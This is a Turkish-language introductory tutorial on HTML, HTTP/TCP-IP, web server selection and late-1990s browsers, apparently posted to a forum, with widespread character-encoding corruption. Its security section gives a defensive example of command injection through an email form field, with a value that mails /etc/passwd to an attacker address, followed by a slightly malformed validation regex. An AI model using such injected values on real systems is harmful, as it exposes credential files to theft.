Temel Bilgiler
Bu bölümde, HTML ile neler yapılabileceÄŸi ve neler yapılamayacağına bakacağız. Yine bu bölümde, tasarlayacağınız Web alanlarının, sizin (ya da sayfalarınıza ev sahipliÄŸi yapacak firmanın) bilgisayarlarından, ziyaretçinin bilgisayarına ulaÅŸtırılma yollarına deÄŸineceÄŸiz. Sonuç itibariyle, Web alanı tasarlayan kiÅŸi, bu ulaşımın ucunda, ortasında ve sonunda da yer alan programlara, onların imkan ve sınırlamalarına bağımlı demektir. HTML’i kullanarak Web sayfası tasarlayacak kiÅŸinin bunu bir ÅŸekilde baÅŸkalarının hizmetine sunacağı varsayılır. Bu nedenle, HTML öğrenen kiÅŸinin sonunda bir Web alanına sahip olacağını düşünebiliriz. Dolayısıyla bu bölümde, kısaca, Web hizmeti sunmakta kullanılacak bilgisayarların sahip olmaları gereken donanım ve yazılım özelliklerinden de kısaca söz edeceÄŸiz. Web Server’a koyacağınız HTML sayfaları ne kadar fiyakalı olsa da, HTML’in imkan ve yetenekleri, onu alan ve yorumlayan tarayıcı (browser) programının yetenekleri ile sınırlıdır. Bu nedenle Web tasarımcının, tarayıcı programları çok iyi tanıması gerekir. Bir tarayıcıda adeta televizyon filmi gibi gösterilebilen bir unsurun yerini, baÅŸka bir tarayıcıda gri zeminli boÅŸ bir kutu alabilir. Ya da aynı tarayıcıya sahip olan iki ziyaretçiden biri, sayfanıza girdiÄŸi anda en sıcak ve candan sesli hoÅŸgeldiniz mesajınızı dinlerken, diÄŸeri hiç bir ÅŸey duymayabilir. Tarayıcılar kadar, tarayıcıların özelleÅŸtirme yeteneklerini tanımak ve kullanıcıların genellikle ne gibi özelleÅŸtirmeler yapabildikleri hakkında fikriniz olması gerekir. Bu nedenle, bu bölümün sonunda mevcut en yaygın tarayıcıların ortak ve farklı önemli özelliklerine de bakacağız.
HTML’e Genel Bakış
Programlama dili gibi görülse de, görülmese de, bugün Internet’in de intranet’lerin de ortak dili, HTML’dir. Bir Web sayfasında yer alan belgenin içindeki bazı kelimeler, simgeler, fotoÄŸraflar, grafik unsurlar veya bunların parçaları bir baÅŸka sayfa ile hiper-link kurularak, ilentilendirilmiÅŸtir. Kullanıcı, hiç bir komut öğrenmek zorunda kalmadan, hiç bir baÄŸlantının Internet’teki adresini bilmek zorunluÄŸu olmadan bu sayfalardaki baÄŸlantıları tıklayarak, yazıdan yazıya, ÅŸekilden ÅŸekilde, gidebilir. Ta ki, arzu ettiÄŸi bilgiyi bulup, okuyuncaya, kendi diskine veya disketine kopya edinceye veya yazıcısında basıncaya kadar. Aslında kullanıcı ya da ziyaretçinin bir HTML sayfasıyla iliÅŸkisi burada da bitmemektedir. ÇoÄŸumuz ulaÅŸtığımız bir alanın adresini Web tarayıcı programında sık sık ziyaret etmek istediÄŸi yerlerin arasına koyabilir (bookmark) ve arzu ettiÄŸi zaman doÄŸruca iÅŸaretlenmiÅŸ olan bu adreslere gidebilir.
HTML’in baÅŸlıca özelliklerini şöyle sıralayabiliriz:
1. Belge biçimlendirme: HTML, Wes tasarımcısına, belgelerini ziyaretçinin ekranında nasıl oluÅŸmasını istiyorsa öyle ÅŸekillendirme imkanı verir. Bununla birlikte tarayıcı programlarının (Netscape Navigator veya Internet Explorer) HTML komutlarını yorumlayışlarında az da olsa fark vardır ve bu fark sayfalarınızın bir ziyaretçinin bilgisayarında baÅŸta, diÄŸerinin bilgisayarında baÅŸka gösterilmesine yol açabilir. Ayrıca ziyaretçileriniz, tarayıcı programlara verdikleri komutlarla, aldıkları sayfalarda genel deÄŸiÅŸiklik veya kısıtlamalar yapabilirler. Siz sayfanızda ne tür harf türü (font) kullanmış olursanız olun, ziyaretçiniz tarayıcı programa “Sadece Times fontları kullan” demiÅŸ ise, sayfanız bu ziyaretçinin ekranında sizin istediÄŸinizden farklı biçimde görülecektir. Ziyaretçi tarayıcı programına “Grafik unsurları gösterme!” demiÅŸ ise, sayfalarınız ve tabiî vermek istediÄŸiniz görsel mesaj tamamen farklı bir nitelik kazanacaktır. Bu duruma raÄŸmen, bugünkü ÅŸekliyle HTML, Web tasarımcısına adeta bir gazete ya da dergi sayfası tasarlarcasına, oluÅŸturmak istediÄŸi görsel etkiyi saÄŸlamasına yeterli tasarım araçları sunmaktadır.
2. Bugünkü imkanlarıyla HTML, Web sayfası terimine yeni bir anlam kazandırmış bulunuyor. “Web sayfası” terimi bile, eski, yani dört-beÅŸ yıl öncesinin Web sayfaları, içi bir örnek harflerden oluÅŸan yazılarla dolu, duragan belgelerden ibaret bulunduÄŸu için ortaya atılmıştı. Bugünkükü Web sayfalarının “sayfa” kavramı ile dahi ilgisi kalmadı. Bugün sadece HTML ögeleri kullanılarak, ziyaretçinin ekranında adeta bir televizyon programının grafik etkisini saÄŸlamak mümkün. Bununla birlikte HTML, bir kelime iÅŸlem ya da masaüstü yayıncılık programının oluÅŸturabileceÄŸi görsel özelliklere sahip sayfalar oluÅŸturamaz. Bu kısıtlamalara, Internet’i tasarlayan uzmanların, platformlar (Windows 3.x, Windows 95/98, Windows NT, Unix, MacOS), donanımlar (Macintosh, PC, Sun) ve tarayıcı programlar arasındaki farkların, sunulacak malzemenin tasarımcının kastettiÄŸinden tamamen farklı bir ÅŸekilde sunulmasına yol açmasını önleme arzusu neden oluyor. HTML, örneÄŸin bir masaüstü yayın programı kadar hassas ölçmelere ve biçimlendirmelere izin verse idi, bu ancak belirli bir platformda, belirli bir program kullanmayı gerektirirdi. Oysa Internet’i Internet yapan unsurların başında, hemen herÅŸeyin ekranda ve kağıt üzerinde, ortak denilebilecek ÅŸekilde oluÅŸturulması geliyor.
3. HTML ile oluÅŸturulacak statik alanların içine dinamik sonuçlar doÄŸuracak programlar konulabilir. Bu programların oluÅŸturulması için, ziyaretçinin Internet’e PC veya Macintosh ile baÄŸlanmış olması, ya da baÄŸlantı programının ÅŸu ya da bu firmaya ait bulunması gibi farklılıklardan etkilenmeyen, her türlü ortamda aynı sonucu veren ortak bir dil geliÅŸtirme çabası, ortaya Java adlı programlama dilini çıkartmış bulunuyor. Microsoft’un Visual Basic programlama dilinin bir türevi olan VBScript ve çeÅŸitli firmaların ortaklaÅŸa ürünü Javascript de bu tür çabaların sonuçlarıdır. Adı benzemekle birlikte, Javascript’in Java ile, VBScript’in de Visual Basic ile ilgileri yoktur. Internet tarayıcı programlarından Internet Explorer hem Javascript, hem de VBScript dillerini anlayabilir ve yorumlayabilir. Buna karşılık Netscape tarayıcı programı VBScript diliyle yazılmış bölümler içeren bir HTML metnini yorumlayarak, ekrana getiremez. Bugünkü ÅŸekliyle Java dili de, Javascript ve VBScript de, tarayıcı programların imkan ve kabiliyetleri ile sınırlıdır. Ancak her üç dili kullanarak, HTML sayfalarını duraganlıktan çıkartmak ve ziyaretçi ile etkileÅŸen, ziyaretçinin arzu, beÄŸeni ve özelliklerine göre içeriÄŸini deÄŸiÅŸtirebilen Web alanları tasarlamak mümkündür
HTTP ve TCP/IP
Web sayfası tasarlarken, dikkat edeceğiniz en önemli unsur, sayfalarınızın içeriğinin sunuluş biçiminin önemli ölçüde ziyaretçinin bilgisayarının türü (Mac, PC, Sun), ziyaretçinin işletme sistemi (Windows 3.x, 95/98, NT, MacOS, Unix) ve kullandığı tarayıcı yazılımı (IE, Netscape, Mosaic, vs.) tarafından belirleneceği olmalıdır.
Bir Web sayfasının ziyaretçinin ekranına kadar kat’ettiÄŸi yolda çeÅŸitli protokoller (kurallar) var. Bunların başında bir bilgisayar ağı olan Internet’in iletim kuralları (HTTP) geliyor. Hypertext dosyalarını olduÄŸu kadar çoklu ortam unsurlarını (ses, video ve diÄŸer grafik ögelerden oluÅŸan Multimedia dosyalarını) ve bilgisayar programlarını aÄŸ içindeki bilgisayarlar arasında alıp-vermeye yarayan baÅŸka protokoller de vardır: FTP (File Transfer Protocol-Dosya Aktarma Kuralları) bunlardan biridir.
Internet baÄŸlantısı, bir telin iki ucunda bulunan iki bilgisayar arasındaki iliÅŸki olarak görebilirsiniz. Sizin Web sayfalarınızın durduÄŸu bilgisayar Web iliÅŸkisinde “Server” (Hizmet eden) diye adlandırılır. Ziyaretçinin Internet’e telefon baÄŸlantısı ile baÄŸlı bilgisayarı, ise sizin için Client-Müşteri sayılır. Hizmet veren bilgisayarla, bu hizmetin müşterisi olan bilgisayar (Server ile Client) arasındaki iliÅŸkiyi düzenleyen kurallara TCP/IP adı verilir (Transmission Control Protocol/Internet Protocol-İletim Denetim Kuralları/Internet Kuralları). Gerek HTTP, gerekse FTP, müşterinin, sizin bilgisayarınızdan, yani Web Server olarak adlandırdığımız HTML sayfaların ve bu sayfaların içinde yer alan resimlerin, grafiklerin, ses ve video dosyalarının durduÄŸu bilgisayardan bilgi isteme ve bu istediÄŸine karşılık verildiÄŸinde verilen karşılığın doÄŸru gelip gelmediÄŸini anlamasını saÄŸlar. İki bilgisayarın üzerinde anlaÅŸtıkları bir tür konuÅŸma adabı diyebileceÄŸimiz bu kurallara uygun mesajlarını, kıt’adan kıt’aya, ülkeden ülkeye, kentten kente, yeraltı ve sualtı kabloları ile, uydularla iletirler. Tahmin edilebileceÄŸi gibi, müşteri bilgisayar ile servis sunan Web Server arasında oluÅŸan bu baÄŸlantı, bazen kesilebilir. Fizikî baÄŸlantının kesilmesi, iletimin kesilmesi anlamına gelmemesi için, Internet Kuralları’nın IP bölümü, iki bilgisayar arasındaki baÄŸlantının doÄŸru kanallardan kurulmasını, kesildiÄŸinde yeniden kurulmasını saÄŸlar. Bunu yaparken, evrensel bir adres sisteminden yararlanır. Internet’te servis sunan bilgisayarlar, baÅŸka bir deyiÅŸle Web Server’lar kaynak sayıldığı için, IP, aradığı kaynağı Universal Resource Locator (URL) sistemini kullanarak bulur. Aynı kurallar demetinin TCP bölümü ise kurulan baÄŸlantı sayesinde gelen bilginin doÄŸru anlaşılmasını saÄŸlar.
Aslında her bilgisayar, CPU ile ekran, CPU ile klavye, CPU ile CD-ROM sürücü arasında bir aÄŸ demektir. Bir büro ortamında bir bilgisayar ile merkezdeki Server, bir ağın parçalarıdır. Bu aÄŸların Internet denen dev aÄŸdan farkı, sizin bilgisayarın CPU’su ile klavyesi, ekranı ve yazıcısı arasındaki baÄŸ, yine bir büro ortamındaki bilgisayar ile merkez bilgisayar arasındaki iliÅŸki, “sabit durum” iliÅŸkisidir. Yani, bu aÄŸlarda iki taraf birbirinin durumuna her an vakıftır; birbirlerinin ne durumda olduklarını her an bilirler. Oysa, iki kıt’a arasında kurulmuÅŸ bir Internet iliÅŸkisinde, müşteri hizmet verenin, hizmet veren müşterinin durumunu, baÄŸlantıdaki kesilmeler nedeniyle, bilemeyebilir. Bu nedenle TCP/IP, “durumun bilinmediÄŸi iliÅŸki” esasına dayanır. Müşteri bilgisayar, servis sunucudan istediÄŸini HTTP veya FTP kurallarına göre talep eder. Bunun için Web Server’ın kendisini bulup, bu talebi doÄŸruca ona iletmesine gerek yoktur; bu talebini kendisine Internet baÄŸlantısı saÄŸlayan (ISP) firmanın bilgisayarına iletmesi yeterlidir. Bunu yaparken talep ettiÄŸi ÅŸeyin adını-sanını bildirdiÄŸi gibi bulunacağı kaynağı belirlemek için gerekli, adresi de (URL) bildirmek zorundadır. Internet hizmeti saÄŸlayan firmanın bilgisayarı, bu talebi ve talebi karşılayacak kaynağın adresini, Internet’in omurgası olarak adlandırılan ana baÄŸlantıyı kuran bakımını yapan ve ISP’lere hizmet sunan firmanın bilgisayarına iletir. Ana omurga firmasının bilgisayarlarında dünyadaki tüm Internet kaynaklarının listesi ve onlara ulaÅŸmak için hangi omurgadan kime yol açılması gerektiÄŸini gösteren bir liste bulunur. Ana omurga ÅŸirketinin bilgisayarı bu listeye göre, müşterinin talebini diÄŸer bir ana omurga firmasına, o firma da bunu hedef Web Server’a ev sahipliÄŸi yapan (host) bilgisayara iletir. Bu talep, hedef Web Server’a talebin konusu ve talep edenin adresi ile birlikte bildirilir. Sizin müşteri olarak o sırada sadece kendi Internet hizmet sunucunuzla baÄŸlantınız sürmektedir; yoksa sizin bilgisayarla hedef Web Server arasında doÄŸrudan, bire-bir iliÅŸki yoktur. Hedef Web Server, müşteri olarak sizin kim olduÄŸunu ve size nasıl ulaÅŸabileceÄŸini, ancak kendisine gelen talebin altındaki adresten bilmektedir. Web Server, sizin o anda kendi Internet Hizmet Sunucu’nuzla arasındaki baÄŸlantının devam edip etmediÄŸi ile hiç mi hiç ilgilenmez. Onun için önemli olan kendisine iletilen talebin karşılığını, talebin altındaki adrese iletmekten ibarettir. Aynı yol bu kez tersine kat’edilir; arzu ettiÄŸiniz bilgi (sayfa, belge, video, ses, resim, fotoÄŸraf, vs.) sizin ekranınıza ulaşır. Kısaca, ne talep sahibi müşteri bilgisayar, ne talebi karşılayan Server bilgisayar, bir diÄŸerinin o anda nerede ve ne durumda olduÄŸu ile ilgilenmez. Bu “durumdan haberdar olmama” hali ve etkilerine, ilerde Internet’te ticaret bahsinde geri döneceÄŸiz.
Web Server
HTTP ve FTP, müşteri bilgisayarla, servis sunan bilgisayarın üzerinde anlaştıkları bir dille (HTML) birbirine ilettikleri talep ve talebin karşılığı olan malzemenin alınıp verilmesinde TCP/IP denilen kurallardan yararlanılarak yapılan iletimi düzenleyen ilkelerdir. Bu ilkelere uygun olarak çıkartılan bir talep Web hizmeti sunan bilgisayar tarafından karşılanır ve karşılık olarak belirli bir bilgi kümesi müşteri bilgisayara iletilir.
Web server olarak tayin edilmiş bilgisayarda, kendisine gelecek HTTP ve FTP taleplerini anlamasına ve bu talepleri yerine getirmesine yarayan programlar (örneğin Apache Web Server, MS Internet Information Server veya Netscape Web Server) sürekli çalışır vaziyette olur. Bu programların, bilgi alıp-vermenin yanı sıra, elektronik posta alıp verme ve yönlendirme, veritabanlarına erişme ve içinden seçme yapma (Querry, SQL, vb. gibi), kendi sabit diskinde duran bir dosyayı alıp karşı tarafa aktarma (FTP, Gopher, WAIS) veya karşı tarafın vereceği dosyayı alıp kendi sabit diskine kaydetme yeteneği olur.
İlk Web Server programı, yukarıda, HTML dilinin geliÅŸtirilmesindeki öncü konumu nedeniyle sözünü ettiÄŸimiz, İsviçre’deki CERN kurumu tarafından geliÅŸtirildi; ama kısa zamanda UNIX platformunda, anonim bir tarzda ve ücret ödemeden kullanılabilen bir ÅŸekil aldı. NCSA Server, National Center for Supercomputing Applications-SuperbilgiiÅŸlem Uygulamaları Ulusal Merkezi adlı, ÅŸimdi kapanmış olan kurum tarafından UNIX iÅŸletme sistemi için geliÅŸtirilmiÅŸti. NCSA Server’ın geliÅŸtirilmiÅŸ ÅŸekli olan Apache Server ise uzun süre ücretsiz dağıtıldıktan sonra günümüzde ticarî olarak geliÅŸtiriliyor ve satılıyor. Bugün halâ NCSA Server veya Apache’nin ücretsiz sürümlerine dayalı Web alanları bulunmakla birlikte, Sun Solaris, IBM AIX ve diÄŸer UNIX sistemleri için geliÅŸtirilmiÅŸ çok sayıda Web Server hizmete girmiÅŸ durumda. KiÅŸisel bilgisayarların UNIX gerektiren bilgisayarlara oranla daha ucuz olması, Microsoft’un NT, IBM’in OS/2 iÅŸletme sistemlerinin UNIX’e ciddî rakip haline gelmiÅŸ bulunmaları nedeniyle, bu sistemlere dayalı Web Server programları da hızla artıyor. Apache Web Server’ın bile NT sürümü piyasaya çıktı.
NT Workstation ve Windows 95/98, aslında KiÅŸisel Web Server adı verilen, Internet’e 24 saat baÄŸlı olmadan, baÅŸka bir firmanın ev sahipliÄŸi yaptığı Web alanlarına hizmet saÄŸlayabilir. Hatta NT Workstation, aynı anda 10’u geçmemek üzere, 24 saat süreyle ınternet’e baÄŸlanabilecek ve müşteri taleplerini karşılayabilecek yetenektedir. Aynı anda daha fazla Internet baÄŸlantısını kaldırmak istiyorsanız, NT’nin Server sürümünü edinmeniz gerekli. IBM’in OS/2 iÅŸletim sistemi ise, Internet Connection Server adlı paket kurulduÄŸu zaman, bir PC’nin fiziksel olarak kaldırabileceÄŸi kadar Internet baÄŸlantısına cevap vermesini saÄŸlamaktadır. Macintosh bilgisayarları için Starnine firmasının MacHTTPd programı gibi, ücretsiz edinilebilecek http4Mac ve EasyServe adlı programlarla, Internet servisi saÄŸlamak mümkün.
Ayrıca, bugün PC’lerde de UNIX iÅŸletme sistemi kurmak hem kolay, hem ucuz hale gelmiÅŸ bulunuyor. Solaris, BSDI, Esix, SCO UNIX bu alandaki ticarî programlar. Ayrıca Linux ve FreeBSD adlı, ücretsiz dağıtılan UNIX iÅŸletme sistemleri de, ticarî olanları aratmayacak niteliklere sahip. Ayrıca bu tür ücretsiz programlar, Apache Web Server’ın ücretsiz sürümünü de içeriyorlar.
Bir PC ile Web Server hizmeti yapacaksanız, önünüzdeki bir çok seçeneÄŸe raÄŸmen, baÅŸarınızın PC’nin gerçekten sabit disk alanı ve belleÄŸi bol olmasına baÄŸlı bulunduÄŸunu hatırlamalısınız. PC’lerin, Internet’in gerektirdiÄŸi en önemli özellik olan aynı anda birden çok iÅŸ yapabilme becerisi, iÅŸletim sistemi kadar, donanım kaynaklarının geniÅŸliÄŸine baÄŸlı olduÄŸunu unutmamalısınız.
Bir Web Server yazılım paketi seçerken dikkat edilmesi gereken bir kaç ilkeyi sıralayalım:
1. Yazılım paketi yeterli güvenliÄŸi saÄŸlayacak özelliklere sahip olmalıdır. Binalarda bir odadaki yangının yandaki odaya sıçramasını önleyen ateÅŸe dayanıklı duvarlardan (Firewall) esinlenerek adlandırılan bir dizi program, Web Server yazılımının bulunduÄŸu bilgisayarın, kötü niyetli kiÅŸiler tarafından bozulmasına engel oluyor. Ancak Web Server’ın kendi içinde mevcut güvenlik önlemlerinin neler olduÄŸunu dikkatle araÅŸtırmanız gerekir. UNIX iÅŸletme sistemi ve ona baÄŸlı çalışan Web Server programlarının daha güvenli olduÄŸuna iliÅŸkin, kimi zaman Web tasarımcısını ve Internet hizmet sunucusunu rahatlatan, yaygın bir söylenti vardır. Bu doÄŸru deÄŸil. Ne türü olursa olsun, UNIX de bir iÅŸletme sistemidir ve el elden üstündür. Kötü niyetli bir kiÅŸi Windows NT sistemine verebileceÄŸi zararı, aynı rahatlıkla UNIX’e de verebilir. Bir diÄŸer yaygın ve aynı ölçüde yanlış inanç ise NT’nin güvenli olmadığıdır. Microsoft firmasının NT’nin 4’ncü sürümünü güncelleÅŸtirmek için dağıttığı SP3 adlı tamir programının yerleÅŸtirilmesinden sonra, NT sistemleri güvenlik açısından herhangi bir baÅŸka iÅŸletme sistemiyle boy ölçüşebilir hale geldi. Burada önemli olan, Internet’e açılmanın, iyi niyetli-kötü niyetli herkese açılmak olduÄŸunu unutmamaktır. Özellikle form denilen, HTML’in ziyaretçi bilgisayarın evsahibi bilgisayara talepten baÅŸka ÅŸeyler göndermesine imkan veren etiketlerini ve ona baÄŸlı CGI (Common Gateway Interface-Ortak Geçit Arabirimi) adı verilen ziyaretçinin ev sahibi bilgisayardaki programları harekete geçirebildiÄŸi buluÅŸma noktasında yer alacak programları tasarlarken, daima kötüniyetli kiÅŸileri dikkate alarak hareket etmek gerekir. Internet’te güvenliÄŸin ne kadar kolay sarsılabildiÄŸine ve ne kadar kolay önlem alınabileceÄŸini bir örnek verelim. Sayfanızda, ziyaretçinin doldurması gereken “Elektronik Posta Adresiniz:” diye bir metin kutusu bulunduÄŸunu düşünün. Bu kutuya bütün ziyaretçilerin elektronik posta adreslerini yazacaklarını düşünüyor ve bu bilgiyi iÅŸleyecek CGI programında, ziyaretçinin bu kutuya yazacağı bilgiyi, alıp doÄŸruca Web Server’ın “Mail” programına veriyorsunuz. Peki, ya kullanıcı adres yerine “herkimse@herneredeyse.com; mail haydut@soygun.com</etc/passwd” yazarsa? Bu basit elektronik posta adresi, sizin Mail Server’ınızın bilgisayar sisteminizdeki bütün password-parola dosyaları Soygun.com’daki “Haydut” isimli arkadaÅŸa postalamasını saÄŸlayacaktır. Oysa, CGI programını yazan kiÅŸi, elektronik posta adresini Mail programına gönderirken “unless ($mail_to = ~/^[\w-.]+\@[\w-.]+$)” ÅŸeklinde bir satırla, Web ve Mair Server’larla iÅŸletme sisteminin “metakarakter” denilen ve bir isim veya adreste deÄŸil de sadece komutlarda yer alabilecek karakterlerin bulunup-bulunmadığını denetlerse, sorun kökünden halledilebilecektir.
2. Mahremiyetin Korunması ve DoÄŸrulatma: Web hizmeti sunan kiÅŸi, sadece baÅŸkalarının kendi bilgisayar sisteminde arzu edilmeyen ÅŸeyler yapmalarını önlemekten deÄŸil, aynı zamanda kendisine tevdi edilen baÅŸkalarına ait bilgileri de saklamak ve baÅŸkalarından korumak zorundadır. Bu bilgiler, ziyaretçinin adı, elektronik adresi, hatta kredi kartı numarası olabilir. Bunlar, sizin Internet’te çizdiÄŸiniz portreye güvenilerek size verilmiÅŸ mahrem bilgilerdir. Ziyaretçi bu bilgileri size, kötüye kullanılmayacağı güvencesiyle vermektedir. Bu bilgilerin korunması, sizin birinci derecede sorumluluÄŸunuzdadır. Aynı baÄŸlamda, Web hizmeti sunan kiÅŸi olarak, sizin de bu bilgilerin kolayca ve baÅŸkalarına açık hale getirilmeden doÄŸrulatılmasına ihtiyacınız olacaktır. Web Server programınız, örneÄŸin kredi kartı numarasını, yeni programlar edinmeye ihtiyaç kalmadan doÄŸrulatabiliyor mu? Yeni bir kredi kartı firmasının çıkartacağı elektronik alış-veriÅŸ yöntemi, sizin Web Server’ınıza kolaylıkla uyarlanabilir mi? Microsoft gibi, IBM gibi firmaların paket program olarak sundukları Web Server’lar, çoÄŸu zaman bu firmaların protokollerini tanıyan her türlü ek programı kabul ederler. Oysa Internet’ten ücretsiz olarak edinilebilecek bir Web Server programı, belki maliyet açısından çok daha uygun görülebilir, ama daha sonraki ekleri kabul edemez.
3. Web Server, sizin Internet sayfalarınızı ziyaret edecek kişilerin bilgisini doğru tutuyor mu? Web hizmeti sunan kişi olarak, kimin hangi sayfadan sizin sayfasına atladığını bilmek, kendi sayfanızın reklamını bu sayfalarda daha çok yapmanıza imkan verir. Özellikle elektronik ticarete dayalı veya mesajını daha çok sayıda kişiye iletmek amacıyla hazırlanan Web alanlarını işletenlerin, sayfalarının varlığını duyurmak için, mümkün olan her yoldan yararlanmaları gerekir. Web Server, size bu kolaylıkları sağlamalıdır. Web Server, kimin hangi tür bilgileri edinmek istediğine ilişkin rapor tutmalıdır. Bu raporu incelemekle, Web alanınızda hiç talep edilmeyen bilgilerden çok, talep edilen alanlarda daha çok bilgi sunabilirsiniz.
4. Web Server programıyla ilgili teknik destek ve sorun çözme hizmeti alıp almamak, programın seçiminde belki de en önemli unsur sayılabilir. Özellikle baÅŸlıca iÅŸi bilgisayar mühendisliÄŸi olmayan bir hizmet sunucu, yazılımın donanımla uyumunu saÄŸlamada karşılaÅŸabileceÄŸi güçlükleri, ancak yazılımı piyasaya süren firmanın teknik servisinden veya o yazılımla ilgili uzmanlığı olan danışmanlardan saÄŸlayabilir. Piyasada hiç tanınmayan veya Internet’ten ücretsiz olarak edinilebilen--dolayısıyla belirli bir firmanın malı olmayan—Server programları, çoÄŸu zaman gerekli teknik destekten de mahrumdur. Buna karşılık büyük yazılım firmalarının programları, firmanın kendi mühendis ve uzman kadrosu, ve buna ek olarak bu programlara destek saÄŸlayarak hayatını kazanan kiÅŸiler tarafından en ince ayrıntılarına kadar bilinmektedir. Bir gece yarısı çöken Web Server’ı yeniden çalıştıramamanın bedeli, o programın ilk maliyetinden çok daha yüksek olabilir.
Web Tarayıcıları
Web tasarımcısının, HTML komutları kadar, hatta onlardan da çok iyi bilmesi gereken, tarayıcıların HTML’i nasıl yorumladığıdır. Bu nedenle bir Web tasarımcısının bilgisayarında, Web server yazılımı bulunmayabilir (sayfalarına baÅŸka bir Internet Web Server hizmeti veren kiÅŸi veya firma evsahipliÄŸi yapıyor olabilir), ama mutlaka piyasaya mevcut Web tarayıcılarının hemen bütün geçerli sürümleri bulunmalıdır. Netscape firmasının Navigator ve Communicator adıyla piyasaya sürdüğü farklı sürümleri ayrı ayrı dizinlerde durmak ÅŸartıyla aynı bilgisayarda çalışabilir. Anacak Microsoft firmasının Internet Explorer adlı programının farklı sürümleri aynı Windows ortamında birarada bulunamazlar. Bunun için iddialı bir Web tasarımcısının, bu programın farklı sürümleri için birden fazla bilgisayar bulundurması gerekebilir.
Neden deÄŸiÅŸik tarayıcıların deÄŸiÅŸik sürümlerine ihtiyacınız var? Bu sorunun cevabı, HTML’in ınternet’in ortak dili olduÄŸu gerçeÄŸine bir ölçüde gölge düşürecektir. Çünkü ortak bir HTML dili bulunmasına raÄŸmen, tarayıcıların ve aynı tarayıcının farklı sürümlerinin HTML’i yorumlayışı farklıdır. HTML, Uluslararası Web Konsorsiyomu adlı kuruluÅŸun çıkarttığı, adı “tavsiye” olmakla birlikte kendisi standart sayılan dördüncü sürümüne ulaÅŸmış bulunuyor. Böyle bir standartlaÅŸmaya raÄŸmen, Netscape ve Microsoft firmaları, bilgisayar kullanıcılarının raÄŸbet ettiÄŸi tek tarayıcı programın kendi programları olmasını saÄŸlamak üzere giriÅŸtikleri rekabet çerçevesinde, programlarını sadece HTML’i aynı ÅŸekilde yorumlayan ve dolayısıyla birbirinden farksız sonuçlar veren programlar olmaktan çıkartmak istediler. Bunun sonucu ise, Web tasarımcısının, kimi zaman Netscape’in anladığı ama IE’nın anlamadığı, kimi zaman IE’in becerebildiÄŸi, buna karşılık Netscape’in henüz programına koyamadığı HTML özelliklerinden hangisini kullanacağına bir türlü karar veremez duruma düşmesi oldu.
HTML’i kullanarak, ticarî amaçlı Web tasarımı yapan kiÅŸi, Internet ile baÄŸlantılı bilgisayar kullanıcılarının (Internet kullanıcılarının) hepsinin ekranında aynı ÅŸekilde gösterilecek sayfalar yapmaya mecburdur. Buna karşılık bir firmanın intranet ortamı için Web tasarımı yapan kiÅŸi, HTML’in sadece kendi firmasının standart olarak benimsediÄŸi tarayıcının anlayabileceÄŸi özelliklerinden yararlanması mümkündür.
Microsoft Internet Explorer
Windows ortamında tarayıcı piyasasına, diÄŸer tarayıcılardan sonra girmesine raÄŸmen, Microsoft’un Web tarayıcı programı, piyasa payındaki artış hızı bakımından da, HTML’in tanıdığı özellikleri ve HTML’e ilave ettiÄŸi diÄŸer görsel kabiliyetler bakımından da, diÄŸer programları geride bırakmış bulunuyor. 1997 sonbaharında 4’ncü sürümü piyasaya çıkan IE, giderek Windows ortamının masaüstü ile bütünleÅŸiyor. IE artık sadece bilgisayar kullanıcısının Internet ile baÄŸlantı kurmasını ve Internet’ten alacağı HTML sayfalarını ekrarında canlandırmasını saÄŸlamakla kalmıyor, aynı zamanda bilgisayarın disklerinin taranması ve dosya yönetimi gibi iÅŸleri de yapıyor. Windows 98’in ve NT’nin hazırlanmakta olan beÅŸinci sürümünün yardım dosyaları da IE vasıtasıyla okunuyor. IE’nin, sürümleri daha geriden gelmekle birlikte Macintosh uyumlu sürümü de bulunmaktadır. IE’nin UNIX sürümü, 1998 yaz sonu piyasaya sürülmek üzere hazırlanmaktadır. IE, Microsoft’un Internet alanından ücretsiz indirilebilir veya sadece CD masrafı ödenerek, firmadan posta ile de istenebilir.
Netscape Navigator
Netscape Communications Corporation’ın (NCC) piyasaya sürdüğü NN, IE’ın hızlı yükseliÅŸine raÄŸmen, kurulduÄŸu bilgisayar sayısı bakımından piyasanın en yaygın tarayıcısıdır. NN, sadece Windows ve Macintosh ortamlarında deÄŸil, fakat aynı zamanda UNIX iÅŸletme sisteminde de iÅŸleyebilmektedir. NCC, yakın zamana kadar, hem tarayıcı, hem de Web Server programları alanında Internet’te öncü konumda idi. Internet’in bugün sahip olduÄŸu bir çok özellik, HTTP ve FTP ilkelerinin çoÄŸu, bu firmanın tasarımı sonucudur. EÄŸitim kurumları ve kâr amacı gütmeyen kuruluÅŸların mensupları ile programdan kiÅŸisel amaçlarla yararlanmak isteyenler, NN’i ücretsiz olarak kullanabilirler. Ticaret amaçlı kullanım ise ücrete tabidir.
DiÄŸerleri
Html - Web’e GiriÅŸ
1
●1.209
- 09-02-2008, 12:19:24ÜyeliÄŸi durdurulduWeb tarayıcı piyasasını NCC ve MS firmalarının egemenliklerine almış olmaları nedeniyle, piyasada baÅŸka tarayıcı bulunmadığını sananların sayısı az deÄŸil. Oysa piyasada, çoÄŸu ücretsiz veya sınayıp da beÄŸenenlerin yazarına az bir ücret ödedikleri paylaşım yazılımı türünden, 50’den fazla tarayıcı programı bulunmaktadır. Bu programların en yaygını, tarayıcı programının ilk mucidi NCSA’e ait Mosaic’tir. Spyglass firmasının Mosaic’i esas alan programı, halâ yaygın olarak kullanılmaktadır.
Web tasarımcısının NN ve IE’ın 3 ve 4’ncü sürümlerini bilgisayarlarında mutlaka bulundurması gerekir. Hazırlayacağınız bir HTML dosyasının, bu iki program ve onların farklı sürümleri tarafından nasıl yorumlandığını ve bu yorumun sizin oluÅŸturmak istediÄŸiniz görsel etkiye uygun olup olmadığını, sayfalarınız Internet’e veya intranet’e çıkmadan mutlaka incelemelisiniz. HTML’in 4’ncü sürümünde yer alan komut listesinin tümü halâ NN tarafından tanınmamaktadır. Böyle bir komuta sayfanızda yer vermeniz halinde, sayfanızı NN ile tarayacak ziyaretçilerin ekranlarında, sayfanız sizin istediÄŸiniz biçimde yansıtılamaz.
